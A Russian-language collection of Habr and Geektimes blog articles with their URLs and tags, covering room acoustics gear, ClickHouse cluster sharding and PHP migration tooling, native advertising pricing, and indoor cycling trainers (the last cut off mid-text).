Цифровой акустический корректор DSPeaker Anti-Mode 8033S-II для настройки характеристик звучания сабвуфера в соответствии с геометрией и другими особенностями помещения для прослушивания Акустические корректоры часто используются на выставках Hi-Fi и High End , которые проходят в гостиницах (как раз тот случай, когда команда инсталляторов не может изменить конфигурацию или вмешаться в дизайн помещения). Ликвидировать абсолютно все проблемы за счет корректора не всегда возможно, но качественно улучшить прослушивание в неидеальном помещении такой корректор способен. Особенно полезно это устройство, если в комнате есть четко определенная зона прослушивания музыки (есть вероятность, что какие-то проблемы так и останутся нерешенными, но вы их просто «не услышите», находять там, где обычно слушаете музыку). У меня, например, нет ничего подобного [звуковых ловушек, акустических панелей]. Да, я понимаю, что при каких-то условиях у меня будут неприятности, может быть, где-то возникнут стоячие волны, в каком-то углу комнаты звук будет не такой, какой запланирован. Но у меня есть вполне понятная точка прослушивания, и в ней все хорошо. Даже не точка, зона прослушивания, и в этой зоне все замечательно. — Тимофей Шиколенков timshick Чтобы улучшить качество звучания, стоит также обратить внимание на то, в каком окружении находится сама аудиосистема. Например, не самым удачным решением будет поставить акустику непосредственно на пол (либо на столы и другие предметы мебели, изначально не предназначенные «работать» в качестве подставки под аудиотехнику). Создаваемые в результате вибрации пагубно влияют на качество звука («играет» не только колонка, но и все объекты, которые находятся поблизости). Чтобы свести вибрацию к минимуму, необходимо уменьшить плщадь соприкосновения колонки с поверхностью. Для этой цели могут быть полезны акустические шипы . Помимо основной задачи (уменьшения паразитных вибраций) они позволяют компенсировать неровности поверхности за счет регулирования высоты с помощью резьбы. А чтобы не повредить покрытие пола (или поверхности мебели), под шипы следует класть специальные подставки . / Подставки под шипы Cold Ray Spike Protector 3 Small не скользят, защищают напольное покрытие и (в сочетании с шипами) позволяют успешно бороться с резонансами Еще один важный фактор, помогающий улучшить звучание — правильное расположение аудиосистемы. На первый взгляд, это самое простое решение, однако в полной мере реализовать его бывает трудно: не всегда правильное расположение удобно с точки зрения внешнего вида, функциональности (в «правильных» местах нет розеток или оказываются чересчур заметными кабели). Тем не менее, тут тоже есть несколько советов, самый простой — не стоит «загонять» колонки в углы комнаты и плотно придвигать их к стене (расположение «в опасной близости» от боковых стен может привести к возникновению стоячих волн и ухудшить звучание). Если не хочется сходу разбираться в модах и работе с акустическим калькулятором , можно начать с этого руководства по грамотной расстановке акустики — даже такие простые изменения помогут улучшить звучание аудиосистемы без каких-либо серьезных вложений. P.S. Наша новогодняя распродажа 2017 : в этом году мы собрали несколько сотен товаров всевозможных категорий со скидками до 75%, чтобы вы смогли воплотить самые смелые мечты и значительно сэкономить.
https://geektimes.ru/company/audiomania/blog/283862/
habrahabr
Масштабирование ClickHouse, управление миграциями и отправка запросов из PHP в кластер
['php', 'clickhouse', 'clustering', 'sharding', 'columnar database', 'базы данных', 'структуры данных', 'веб-аналитика']
В предыдущей статье мы поделились своим опытом внедрения и использования СУБД ClickHouse в компании СМИ2. В текущей статье мы затронем вопросы масштабирования, которые возникают с увеличением...
В предыдущей статье мы поделились своим опытом внедрения и использования СУБД ClickHouse в компании СМИ2 . В текущей статье мы затронем вопросы масштабирования, которые возникают с увеличением объема анализируемых данных и ростом нагрузки, когда данные уже не могут храниться и обрабатываться в рамках одного физического сервера. Также мы расскажем о разработанном нами инструменте для миграции DDL -запросов в ClickHouse-кластер. ClickHouse специально проектировался для работы в кластерах, расположенных в разных дата-центрах. Масштабируется СУБД линейно до сотен узлов. Так, например, Яндекс.Метрика на момент написания статьи — это кластер из более чем 400 узлов. ClickHouse предоставляет шардирование и репликацию "из коробки", они могут гибко настраиваться отдельно для каждой таблицы. Для обеспечения реплицирования требуется Apache ZooKeeper (рекомендуется использовать версию 3.4.5+). Для более высокой надежности мы используем ZK-кластер (ансамбль) из 5 узлов. Следует выбирать нечетное число ZK-узлов (например, 3 или 5), чтобы обеспечить кворум. Также отметим, что ZK не используется в операциях SELECT, а применяется, например, в ALTER-запросах для изменений столбцов, сохраняя инструкции для каждой из реплик. Шардирование Шардирование в ClickHouse позволяет записывать и хранить порции данных в кластере распределенно и обрабатывать (читать) данные параллельно на всех узлах кластера, увеличивая throughput и уменьшая latency. Например, в запросах с GROUP BY ClickHouse выполнит агрегирование на удаленных узлах и передаст узлу-инициатору запроса промежуточные состояния агрегатных функций, где они будут доагрегированы. Для шардирования используется специальный движок Distributed , который не хранит данные, а делегирует SELECT-запросы на шардированные таблицы (таблицы, содержащие порции данных) с последующей обработкой полученных данных. Запись данных в шарды может выполняться в двух режимах: 1) через Distributed-таблицу и необязательный ключ шардирования или 2) непосредственно в шардированные таблицы, из которых далее данные будут читаться через Distributed-таблицу. Рассмотрим эти режимы более подробно. В первом режиме данные записываются в Distributed-таблицу по ключу шардирования. В простейшем случае ключом шардирования может быть случайное число, т. е. результат вызова функции rand() . Однако в качестве ключа шардирования рекомендуется брать значение хеш-функции от поля в таблице, которое позволит, с одной стороны, локализовать небольшие наборы данных на одном шарде, а с другой — обеспечит достаточно ровное распределение таких наборов по разным шардам в кластере. Например, идентификатор сессии (sess_id) пользователя позволит локализовать показы страниц одному пользователю на одном шарде, при этом сессии разных пользователей будут распределены равномерно по всем шардам в кластере (при условии, что значения поля sess_id будут иметь хорошее распределение). Ключ шардирования может быть также нечисловым или составным. В этом случае можно использовать встроенную хеширующую функцию cityHash64 . В рассматриваемом режиме данные, записываемые на один из узлов кластера, по ключу шардирования будут перенаправляться на нужные шарды автоматически, увеличивая, однако, при этом трафик. Более сложный способ заключается в том, чтобы вне ClickHouse вычислять нужный шард и выполнять запись напрямую в шардированную таблицу. Сложность здесь обусловлена тем, что нужно знать набор доступных узлов-шардов. Однако в этом случае запись становится более эффективной, и механизм шардирования (определения нужного шарда) может быть более гибким. Репликация ClickHouse поддерживает репликацию данных, обеспечивая целостность данных на репликах. Для репликации данных используются специальные движки MergeTree-семейства: ReplicatedMergeTree ReplicatedCollapsingMergeTree ReplicatedAggregatingMergeTree ReplicatedSummingMergeTree Репликация часто применяется вместе с шардированием. Например, кластер из 6 узлов может содержать 3 шарда по 2 реплики. Следует отметить, что репликация не зависит от механизмов шардирования и работает на уровне отдельных таблиц. Запись данных может выполняться в любую из таблиц-реплик, ClickHouse выполняет автоматическую синхронизацию данных между всеми репликами. Примеры конфигурации ClickHouse-кластера В качестве примеров будем рассматривать различные конфигурации для четырех узлов: ch63.smi2, ch64.smi2, ch65.smi2, ch66.smi2 . Настройки содержатся в конфигурационном файле /etc/clickhouse-server/config.xml . Один шард и четыре реплики <remote_servers> <!-- One shard, four replicas --> <repikator> <shard> <!-- replica 01_01 --> <replica> <host>ch63.smi2</host> </replica> <!-- replica 01_02 --> <replica> <host>ch64.smi2</host> </replica> <!-- replica 01_03 --> <replica> <host>ch65.smi2</host> </replica> <!-- replica 01_04 --> <replica> <host>ch66.smi2</host> </replica> </shard> </repikator> </remote_servers> Пример схемы создания таблицы: Пример SQL-запроса создания таблицы для указанной конфигурации: CREATE DATABASE IF NOT EXISTS dbrepikator ; CREATE TABLE IF NOT EXISTS dbrepikator.anysumming_repl_sharded ( event_date Date DEFAULT toDate(event_time), event_time DateTime DEFAULT now(), body_id Int32, views Int32 ) ENGINE = ReplicatedSummingMergeTree('/clickhouse/tables/{repikator_replica}/dbrepikator/anysumming_repl_sharded', '{replica}', event_date, (event_date, event_time, body_id), 8192) ; CREATE TABLE IF NOT EXISTS dbrepikator.anysumming_repl AS dbrepikator.anysumming_repl_sharded ENGINE = Distributed( repikator, dbrepikator, anysumming_repl_sharded , rand() ) Преимущество данной конфигурации: Наиболее надежный способ хранения данных. Недостатки: Для большинства задач будет храниться избыточное количество копий данных. Поскольку в данной конфигурации только 1 шард, SELECT-запрос не может выполняться параллельно на разных узлах. Требуются дополнительные ресурсы на многократное реплицирование данных между всеми узлами. Четыре шарда по одной реплике <remote_servers> <!-- Four shards, one replica --> <sharovara> <!-- shard 01 --> <shard> <!-- replica 01_01 --> <replica> <host>ch63.smi2</host> </replica> </shard> <!-- shard 02 --> <shard> <!-- replica 02_01 --> <replica> <host>ch64.smi2</host> </replica> </shard> <!-- shard 03 --> <shard> <!-- replica 03_01 --> <replica> <host>ch65.smi2</host> </replica> </shard> <!-- shard 04 --> <shard> <!-- replica 04_01 --> <replica> <host>ch66.smi2</host> </replica> </shard> </sharovara> </remote_servers> Пример SQL-запроса создания таблицы для указанной конфигурации: CREATE DATABASE IF NOT EXISTS testshara ; CREATE TABLE IF NOT EXISTS testshara.anysumming_sharded ( event_date Date DEFAULT toDate(event_time), event_time DateTime DEFAULT now(), body_id Int32, views Int32 ) ENGINE = ReplicatedSummingMergeTree('/clickhouse/tables/{sharovara_replica}/sharovara/anysumming_sharded_sharded', '{replica}', event_date, (event_date, event_time, body_id), 8192) ; CREATE TABLE IF NOT EXISTS testshara.anysumming AS testshara.anysumming_sharded ENGINE = Distributed( sharovara, testshara, anysumming_sharded , rand() ) Преимущество данной конфигурации: Поскольку в данной конфигурации 4 шарда, SELECT-запрос может выполняться параллельно сразу на всех узлах кластера. Недостаток: Наименее надежный способ хранения данных (потеря узла приводит к потере порции данных). Два шарда по две реплики <remote_servers> <!-- Two shards, two replica --> <pulse> <!-- shard 01 --> <shard> <!-- replica 01_01 --> <replica> <host>ch63.smi2</host> </replica> <!-- replica 01_02 --> <replica> <host>ch64.smi2</host> </replica> </shard> <!-- shard 02 --> <shard> <!-- replica 02_01 --> <replica> <host>ch65.smi2</host> </replica> <!-- replica 02_02 --> <replica> <host>ch66.smi2</host> </replica> </shard> </pulse> </remote_servers> Пример SQL-запроса создания таблицы для указанной конфигурации: CREATE DATABASE IF NOT EXISTS dbpulse ; CREATE TABLE IF NOT EXISTS dbpulse.normal_summing_sharded ( event_date Date DEFAULT toDate(event_time), event_time DateTime DEFAULT now(), body_id Int32, views Int32 ) ENGINE = ReplicatedSummingMergeTree('/clickhouse/tables/{pulse_replica}/pulse/normal_summing_sharded', '{replica}', event_date, (event_date, event_time, body_id), 8192) ; CREATE TABLE IF NOT EXISTS dbpulse.normal_summing AS dbpulse.normal_summing_sharded ENGINE = Distributed( pulse, dbpulse, normal_summing_sharded , rand() ) Данная конфигурация воплощает лучшие качества из первого и второго примеров: Поскольку в данной конфигурации 2 шарда, SELECT-запрос может выполняться параллельно на каждом из шардов в кластере. Относительно надежный способ хранения данных (потеря одного узла кластера не приводит к потере порции данных). Пример конфигурации кластеров в ansible Конфигурация кластеров в ansible может выглядеть следующим образом: - name: "pulse" shards: - { name: "01", replicas: ["ch63.smi2", "ch64.smi2"]} - { name: "02", replicas: ["ch65.smi2", "ch66.smi2"]} - name: "sharovara" shards: - { name: "01", replicas: ["ch63.smi2"]} - { name: "02", replicas: ["ch64.smi2"]} - { name: "03", replicas: ["ch65.smi2"]} - { name: "04", replicas: ["ch66.smi2"]} - name: "repikator" shards: - { name: "01", replicas: ["ch63.smi2", "ch64.smi2","ch65.smi2", "ch66.smi2"]} PHP-драйвер для работы с ClickHouse-кластером В предыдущей статье мы уже рассказывали о нашем open-source PHP-драйвере для ClickHouse. Когда количество узлов становится большим, управление кластером становится неудобным. Поэтому мы разработали простой и достаточно функциональный инструмент для миграции DDL-запросов в ClickHouse-кластер. Далее мы кратко опишем на примерах его возможности. Для подключения к кластеру используется класс ClickHouseDB\Cluster : $cl = new ClickHouseDB\Cluster( ['host'=>'allclickhouse.smi2','port'=>'8123','username'=>'x','password'=>'x'] ); В DNS-записи allclickhouse.smi2 перечислены IP-адреса всех узлов: ch63.smi2, ch64.smi2, ch65.smi2, ch66.smi2 , что позволяет использовать механизм Round-robin DNS . Драйвер выполняет подключение к кластеру и отправляет ping-запросы на каждый узел, перечисленный в DNS-записи. Установка максимального времени подключения ко всем узлам кластера настраивается следующим образом: $cl->setScanTimeOut(2.5); // 2500 ms Проверка состояния реплик кластера выполняется так: if (!$cl->isReplicasIsOk()) { throw new Exception('Replica state is bad , error='.$cl->getError()); } Состояние ClickHouse-кластера проверяется следующим образом: Проверяются соединения со всеми узлами кластера, перечисленными в DNS-записи. На каждый узел отправляется SQL-запрос , который позволяет определить состояние всех реплик ClickHouse-кластера. Скорость выполнения запроса может быть увеличена, если не вычитывать значения столбцов log_max_index, log_pointer, total_replicas, active_replicas , при получении данных из которых выполняются запросы на ZK-кластер. Для облегченной проверки в драйвере необходимо установить специальный флаг: $cl->setSoftCheck(true); Получение списка всех доступных кластеров делается следующим образом: print_r($cl->getClusterList()); // result // [0] => pulse // [1] => repikator // [2] => sharovara Например, получить конфигурацию кластеров, которые были описаны выше, можно так: foreach (['pulse','repikator','sharovara'] as $name) { print_r($cl->getClusterNodes($name)); echo "> $name , count shard = ".$cl->getClusterCountShard($name)." ; count replica = ".$cl->getClusterCountReplica($name)."\n"; } //Результат: //> pulse , count shard = 2 ; count replica = 2 //> repikator , count shard = 1 ; count replica = 4 //> sharovara , count shard = 4 ; count replica = 1 Получение списка узлов по названию кластера или из шардированных таблиц: $nodes=$cl->getNodesByTable('sharovara.body_views_sharded'); $nodes=$cl->getClusterNodes('sharovara'); Получение размера таблицы или размеров всех таблиц через отправку запроса на каждый узел кластера: foreach ($nodes as $node) { echo "$node > \n"; print_r($cl->client($node)->tableSize('test_sharded')); print_r($cl->client($node)->tablesSize()); } // Упрощенный вариант использования $cl->getSizeTable('dbName.tableName'); Получение списка таблиц кластера: $cl->getTables() Определение лидера в кластере: $cl->getMasterNodeForTable('dbName.tableName') // Лидер имеет установленный флаг is_leader=1 Запросы, связанные, например, с удалением или изменением структуры, отправляются на узел с установленным флагом is_leader . Очистка данных в таблице в кластере: $cl->truncateTable('dbName.tableName')` Инструмент миграции DDL-запросов Для миграции DDL-запросов для реляционных СУБД в нашей компании используется MyBatis Migrations . Об инструментах миграции на Хабре уже писали: Версионная миграция структуры базы данных: основные подходы Простые миграции с PHPixie Migrate Управление скриптами миграции или MyBatis Scheme Migration Extended Для работы с ClickHouse-кластером нам требовался аналогичный инструмент. На момент написания статьи ClickHouse имеет ряд особенностей (ограничений) связанных с DDL-запросами. Цитата : Реплицируются INSERT, ALTER (см. подробности в описании запроса ALTER). Реплицируются сжатые данные, а не тексты запросов. Запросы CREATE, DROP, ATTACH, DETACH, RENAME не реплицируются — то есть, относятся к одному серверу. Запрос CREATE TABLE создаёт новую реплицируемую таблицу на том сервере, где выполняется запрос; а если на других серверах такая таблица уже есть — добавляет новую реплику. Запрос DROP TABLE удаляет реплику, расположенную на том сервере, где выполняется запрос. Запрос RENAME переименовывает таблицу на одной из реплик — то есть, реплицируемые таблицы на разных репликах могут называться по разному. Команда разработчиков ClickHouse уже анонсировала работу в этом направлении, но в настоящее время приходится решать эту задачу внешним инструментарием. Мы создали простой прототип инструмента phpMigrationsClickhouse для миграции DDL-запросов в ClickHouse-кластер. И в наших планах — абстрагировать phpMigrationsClickhouse от языка PHP. Опишем алгоритм, использующийся в настоящий момент в phpMigrationsClickhouse , который может быть реализован на любом другом языке программирования. На текущий момент инструкция по миграции в phpMigrationsClickhouse состоит из: SQL-запросов, которые нужно накатить и откатить в случае ошибки; имени кластера, в котором нужно выполнить SQL-запросы. Создадим PHP-файл, содержащий следующий код: $cluster_name = 'pulse'; $mclq = new \ClickHouseDB\Cluster\Migration($cluster_name); $mclq->setTimeout(100); Добавим SQL-запросы, которые нужно накатить: $mclq->addSqlUpdate(" CREATE DATABASE IF NOT EXISTS dbpulse "); $mclq->addSqlUpdate(" CREATE TABLE IF NOT EXISTS dbpulse.normal_summing_sharded ( event_date Date DEFAULT toDate(event_time), event_time DateTime DEFAULT now(), body_id Int32, views Int32 ) ENGINE = ReplicatedSummingMergeTree('/clickhouse/tables/{pulse_replica}/pulse/normal_summing_sharded', '{replica}', event_date, (event_date, event_time, body_id), 8192) "); Добавим SQL-запросы для выполнения отката в случае ошибки: $mclq->addSqlDowngrade(' DROP TABLE IF EXISTS dbpulse.normal_summing_sharded '); $mclq->addSqlDowngrade(' DROP DATABASE IF EXISTS dbpulse '); Существует 2 стратегии накатывания миграций: отправка каждого отдельного SQL-запроса на один сервер с переходом к следующему SQL-запросу; отправка всех SQL-запросов на один сервер с переходом к следующему серверу. При возникновении ошибки возможны следующие варианты: выполнение downgrade-запроса на все узлы, на которых уже были произведены upgrade-запросы; ожидание перед отправкой upgrade-запросов на другие сервера; выполнение downgrade-запроса на всех серверах в случае возникновения ошибки. Отдельное место занимают ошибки, когда не известно состояние кластера: ошибка timeout соединения; ошибка связи с сервером. Принцип работы PHP-кода при выполнении миграции следующий: // Получение списка IP-адресов узлов кластера $node_hosts=$this->getClusterNodes($migration->getClusterName()); // Получение downgrade-запроса $sql_down=$migration->getSqlDowngrade(); // Получение upgrade-запроса $sql_up=$migration->getSqlUpdate(); // Выполнение upgrade-запроса на каждый узел и, в случае ошибки, выполнение downgrade-запроса $need_undo=false; $undo_ip=[]; foreach ($sql_up as $s_u) { foreach ($node_hosts as $node) { // Выполнение upgrade-запроса $state=$this->client($node)->write($s_u); if ($state->isError()) { $need_undo = true; } else { // OK } if ($need_undo) { // Фиксация узлов кластера, где произошла ошибка $undo_ip[$node]=1; break; } } } // Проверка успешности выполнения upgrade-запросов на всех узлах кластера if (!$need_undo) { return true; // OK } В случае ошибки выполняется отправка на все узлы кластера downgrade-запроса: foreach ($node_hosts as $node) { foreach ($sql_down as $s_u) { try{ $st=$this->client($node)->write($s_u); } catch (Exception $E) { // Оповещение пользователя об ошибке при выполнении downgrade-запроса } } } Мы продолжим цикл материалов, посвященных нашему опыту работы с ClickHouse. В завершение статьи мы хотели бы провести небольшой опрос.
https://habrahabr.ru/company/smi2/blog/317682/
habrahabr
Нативная реклама: Сколько стоит, где размещается, какой результат
['реклама', 'нативная реклама', 'relap', 'маркетинг', 'спецпроект', 'монетизация интернет-проектов', 'бренд']
На конкретных примерах объясняем, какие есть форматы нативной рекламы, сколько они стоят и чего ждать от каждого из них. В 2017 году 36% российских брендов хотят попробовать нативную...
На конкретных примерах объясняем, какие есть форматы нативной рекламы, сколько они стоят и чего ждать от каждого из них. В 2017 году 36% российских брендов хотят попробовать нативную рекламу . О ней много говорят, но положение с нативкой можно описать как-то так: Даже Ответы на Mail.ru уже нативная реклама. Чтобы в 2017 году жилось чуть проще, рассказываем, какие, на самом деле, есть форматы нативной рекламы и в чем их специфика. Business Insider в своем исследовании рынка нативной рекламы разделил ее на 2 простых и понятных вида: Спецпроекты — спонсорский контент. Редакция издания делает для бренда тексты, микросайты, игры, видео, тесты — любой контент, который будет интересен аудитории издания и привлечет внимание к бренду. Native-display ad — это реклама, которая встраивается ленту. Пользователь переходит с рекламного блока на территорию бренда. В России такой тип нативки делают соцсети — Facebook — и рекомендательные сервисы для медиа, как Relap.io. Спецпроекты Спонсорский проект подразумевает, что в его создании участвуют обе стороны — издание и бренд. Объем и содержание спецпроекта может быть любым — от одной статьи до регулярно обновляемого раздела на сайте. Российские издатели делают спецы всех форматов: Текст — разбор темы: карточки Медузы для проекта “Сделано”. Тест Tjournal для продвижения нового фильма с Беном Аффлеком. Спонсорский лонгрид для Альфа Банка на BigPicture. ПостНаука для Сколтеха: пример спонсорского раздела , который обновлялся в течение двух лет. Спецпроект на Republic — бывшем Slon.ru The Village провела эксперимент и заставила двух людей заниматься повседневными делами, источая сильный запах пота — получилась нативка для Rexona . Чтобы понять, насколько популярен спонсорский контент: сайт Медиазона, который пишет о тяжелой судьбе заключенных и пытках в колониях, сделал спец в гифках в партнерстве с клининговым сервисом (!). Чего ждать? Это, скорее всего, будет текст Потому что текст — это то, что редакции умеют делать лучше всего. Западная статистика такая: текстовый контент для спецов производят 68% издателей . Видео и сложносочиненные страницы — с параллаксом, играми, голосовалками и блэкджеком — предлагают 53% и 45% изданий соответственно. Формат спонсорского материала нужно определять исходя из целей бренда. У МФТИ была задача повысить узнаваемость, и N+1 сделали спецпроект в виде мемов в социальных сетях . Все сделают за вас Американская статистика говорит, что 42% онлайн изданий делают спец силами редакции. К проекту издателя и бренда может подключаться рекламное агентство (26% издателей пользуются услугами агентств), которое создает контент за редакцию. Но договориться может быть сложно Придется считаться с редакционной политикой СМИ. Издания оставляют за собой право контролировать содержание рекламной публикликации. Издатель Meduza указывает, что рекламодатель не имеет права вмешиваться в спонсированный им материал. Бренд не просто получает доступ к читателям медиа, он использует его репутацию — пользователи доверяют рекламной публикации, потому что доверяют изданию. Сколько стоят спецпроекты Чем сложнее проект, тем дольше он создается и дороже стоит. У 65% изданий спонсорский контент стоит дороже традиционных рекламных форматов. Новость на Republic — от 75 000 р. Карточки на Медузе стоят от 200 000 рублей. А публикация с гифками — от 250 000 р. “Специальный пост” на vc.ru — например, такой — стоит от 250 000 рублей. PR статья на Tj — сайте с аудиторией 2,5 млн. пользователей в месяц — 90 000 — 200 000 рублей. Партнерский материал на Afisha.Daily — 540 000 рублей Большинство медиа используют сезонные коэффициенты для расчета стоимости проекта: самый дорогой месяц — декабрь, а сезон — осень. Цена больших проектов — специально сверстанных страниц и разделов, производство видео и игр — обсуждается с каждым рекламодателем индивидуально и на российском рынке идет от 700 000 рублей. Оценка эффективности Все медиа по разному оценивают эффективность спецпроекта. Договариваться о KPI нужно до начала кампании. Хороших исследований российского рынка пока нет, но среди американских издателей больше половины ориентируются на трафик. Команда блога BigPicture.ru начала делать спонсорский контент еще до того, как все узнали слово “натив”. Их лонгриды собирают по 1 млн. просмотров. Директор по развитию Александр Кукса рассказал , как они смотрят на оценку эффективности спецпроектов. «Недавно сидели с товарищем и круто выстраивали воронку продаж. Он на пальцах показывал, что вот приходят 1000 человек и только 20 что-то купили. Если считать в моменте, то я расстроился бы, почему так мало? А потом я посмотрел воронку. Вот они зарегистрировались, вот что-то нашли, вот поискали, вот купили. Он смотрит статистику и видит, что в 3 раза перекрытие идет от вложенных в рекламу денег. Просто не все умеют считать вдолгую. Все хотят: «50 тыс. отдам. 1000 переходов, 5 покупок — все плохо». А давай посмотри, сколько людей зарегистрировалось, новые лиды пришли или не пришли, «догонял» ли ты их ретаргетингом? Плюс история связана с тем, что о продукте в принципе узнали. С каждым приходится вести долгую разъяснительную работу». Издатель Meduza Илья Красильщик рассказал в своем канале в Telegram , как сайт измеряет эффективность нативной рекламы. «Успех нативки меряется прежде всего посещаемостью — но это KPI площадки, клиенты часто меряют другими цифрами, и площадка это должна учитывать. Мы предоставляем максимально полную информацию по кампании с помощью собственной статистики Инсайт. Там и источники переходов, и виральность, и время на странице, и эффективность анонсирования на сайте». Native-display ad Реклама Relap.io на Life.ru Это рекламный блок, встроенный в контент сайта. Обычно он расположен внутри публикации или в контенте вокруг статьи — в разделах типа “Читать также” или “Популярное”, где пользователь привык искать новую информацию. Формат отвечает главным запросам брендов : Работа с крупнейшими СМИ Удобство закупки Красота Эффективность Чего ждать? Можно рекламировать любой контент Рекламный блок может вести на лендинг, текст, промо-страницу, собирать подписки и т.д. Native-display ad — это замена баннерным форматам, которые совсем перестали генерировать трафик для брендов. По статистике пользователи охотнее взаимодействуют с рекламой , которая встроена в ленту. Согласно исследованиям компании Sharethrought , 80% пользователей предпочитает рекламу, которая органично встроена в контент и не разрушает user experience. Где покажут вашу рекламу В России нативную рекламу можно разместить в большинстве топовых медиа. РИА Новости, Drive2.ru, Эхо Москвы, Российская газета, Life, TJournal, Dirty, Эксперт- партнеры Relap. Чтобы разместить на них рекламу, напишите нам . Как это работает и сколько стоит Клиент приходит к нам с задачами по таргетингу и размещению. Бренды хотят показать рекламу аудитории, которая будет максимально заинтересована в покупке. 1. Подготовка к запуску: В зависимости от контента, который нужно продвигать, выбирается тип размещения. Для продающих страниц подходит стандартное размещение в рекомендательном блоке в обвесе статьи. Пример размещения на странице Если компания хочет повысить узнаваемость бренда — лучше всего работает рекламный блок, встроенный в текст публикации. Пример размещения на странице Когда рекламодатель ищет альтернативу телевизионной рекламе, у которой ограничены возможности таргетинга, используется видео-реклама. Пример размещения на странице 2. Стоимость: Средняя стоимость при размещении рекламы в рекомендательном виджете (CPC) — от 20 руб. за уника. Это цена с клиентской скидкой, но без учета таргетинга. В дисплейной нативке, как и в спецпроектах, используют стандартные сезонные коэффициенты. В случае видео (CPV) бренд платит только за полностью просмотренные ролики. Стоимость гарантированного досмотра — от 1 руб. Если бренд покупает “PR-пакет” — статья в издании + показ рекламного виджета, который генерирует трафик на эту статью, — стоимость за уника идет от 20 до 30 рублей. 3. Запуск: Среди площадок, на которых стоит наш виджет, мы подбираем релевантные задачам клиента, и определяем целевую аудиторию среди читателей. 1-2 дня мы готовим и согласовываем с брендом рекламные материалы — картинки и заголовки для каждой публикации — и запускаем кампанию. 4. Оценка результатов: Через 2-3 дня мы проверяем результаты: анализируем CTR каждого рекламного блока и постклик — то, как пользователи ведут себя на сайте рекламодателя. Эти данные нужны, чтобы скорректировать кампанию: изменить внешний вид объявлений, размещение или сегменты. После этого мы предлагаем клиентам отключить менее эффективную рекламу и оставить только варианты с наилучшими показателями CTR и постклика. Такой анализ эффективности мы проводим с каждым клиентом 1-2 раза в неделю в течение всей кампании. Это позволяет увеличивать конверсию страниц. Как мы находим аудиторию Для размещения рекламы мы совмещаем два типа сегментации аудитории — по поведению пользователей и по контенту сайта. Во-первых, мы анализируем страницы, которые смотрят люди, содержание текстов, которые они читают. Учитываем геолокацию и устройство, с которого пришел пользователь и другие факторы. Во-вторых, для каждой площадки с блоком Relap мы сводим похожие по содержанию публикации в тематические массивы. Например, бизнес или кулинария. Мы знаем, где и какие статьи читают пользователи. Благодаря этому можем выделять сегменты аудитории по интересам. Например, выделяем сегмент “недвижимость”: это читатели, которые в последнее время интересовались ценами на жилье и смежными темами. Реклама Relap работает кроссдоменно: мы можем показать рекламу застройщика на РИА Новостях тем, кто до этого интересовался недвижимостью на другом сайте. Так с помощью анализа поведения пользователей, мы приведем на сайт клиента людей, которые заинтересованы в покупке квартиры. Как оценивается результат Бренд платит за показы (CPM) или уникальных пользователей (CPC), которые перешли на сайт. Все показатели — клики/показы/ctr — со стороны Relap сверяются с данными клиента. В этом году с помощью нативной рекламы мы продвигали Ростелеком. Было несколько рекламных кампаний, и в результате эффективность рекламы выросла на 10-20% .
https://habrahabr.ru/company/surfingbird/blog/318034/
habrahabr
Напрягаемся не выходя из дома — удаленные тренировки профессиональных и не очень спортсменов
['велосипед', 'триатлон', 'тренировки', 'спорт']
Наверняка вы уже знакомы с некоторыми не очень честными технологиями спортсменов (на Geektimes уже были публикации о встроенных электромоторах в велосипеды гонщиков и технологичные планы по...
Наверняка вы уже знакомы с некоторыми не очень честными технологиями спортсменов (на Geektimes уже были публикации о встроенных электромоторах в велосипеды гонщиков и технологичные планы по борьбе с ними), но большинство велосипедистов тренируются в первую очередь для себя и используют вполне легальные способы тренировки. Так как чтобы победить в велогонке, нужно проходить маршрут снова и снова, но в реальности соревнование может проходить на другой стороне планеты и невозможно даже доехать до места будущей победы — поэтому эти самые способы используются гонщиками в залах и дома, а мы, простые смертные велосипедисты, можем последовать их примеру. И ездить у себя в квартире или офисе без риска раздавить любимую черепашку. Многие спортсмены могут делать карьеру, не отходя далеко от дивана (внимание: рядом с ним, но не на нём!). Если один ваш знакомый не занимается спортом, т.к. не решается выйти из дома — пусть остается там, но передайте ему ссылку на эту статью. Спойлер: я расскажу о том, как, не покидая зоны комфорта, накручивать километры на велике. Меня зовут Алексей и я всю жизнь считал, что я умею ездить на велосипеде; но с этим заблуждением я расстался, попав на велотренировку петербургских триатлонистов . Как оказалось, я падаю сразу, как только сажусь на велосипед (по правде говоря, я и сесть-то на него толком не мог). Дело в том, что тренировка проводилась на велостанках и умение держать равновесие на велосипеде при езде по обычной дороге, мне здесь никак не помогло — велостанки, о которых пойдет речь, не терпят лишних движений вроде бестолкового подруливания, каковое мы обычно совершаем в начале пути. На предложение научиться ездить на велосипеде я откликнулся сразу, хоть и звучало оно дико (не я ли когда-то делал соточку по пересеченке, особо не напрягаясь?). “Встать на велосипед” мне помогали вот эти ребята, триатлонисты (профессиональные любители как я их теперь называю): От ближнего к дальнему: Олег, директор компании по аренде строительной техники, неоднократный финишер соревнований серии IRONMAN; Наталья, женский тренер, консультант по диетологии, сейчас готовится и готовит к прохождению дистанции IRONMAN; Иван, тренер и триатлонист, занявший 3 место на Чемпионате Мира по IRONMAN 2016 проходившем в Америке на острове Гавайи. И неоднократный победитель и призер соревнований этой серии; Алексей (мой тёзка), предприниматель, пока (как и я) падает с велосипеда. Начинается всё без космических технологий: с роллерного велостанка. Езда на нём выглядит скучно, но попробуйте поставить на него велосипед и то что вы раньше знали о умении концентрироваться, держать равновесие и сохранять спокойствие — теперь нужно максимально использовать. Собственно, для спортсменов умение “ездить на велосипеде” и означает умение беспрепятственно работать на таком станке, т.е. научиться ездить можно только в зале (ну или у себя дома под рявканье удаленного тренера или мяуканье местного кота). Роллерные станки используются и профессиональными велогонщиками (чтобы во время гонки не отвлекаться и не тратить силы на постоянное подруливание и удержание равновесия) и любителями чтобы совершенствовать свои навыки: умение концентрироваться и сосредотачиваться. Роллерный станок, фото из интернета На роллерном станке как в реальной жизни: сначала аккуратно, держась за стеночку, потом уже увереннее, однако периодически падая. Поэтому рекомендуется ехать между стенкой и мягким креслом, например. Как только вы научились стоять на станке (на это нужно одну-две тренировки), можно приступать к плотной работе с тренером и переходить на более интересный станок. Вжух! Идея довольно проста: снимаем с велосипеда заднее колесо, ставим вместо него этот станок и крутим педали. Нечто подобное вы наверняка видели у знакомых, купивших велотренажер, который скорее всего теперь только собирает пыль. На самом деле, нужно привыкать к той лошадке, на которой ты и будешь скакать в решающий момент, а велостанок позволяет тренироваться на своем велосипеде (не только на шоссере, но и на гибриде и MTB). Электромотор, который, наоборот, делает жизнь гонщика тяжелее Внутри станка — электромотор (вполне легальный), который создает необходимую нагрузку на кассету (набор задних звезд велосипеда) по заданной программе. Начать можно с простых упражнений и диагностики дыхательной и 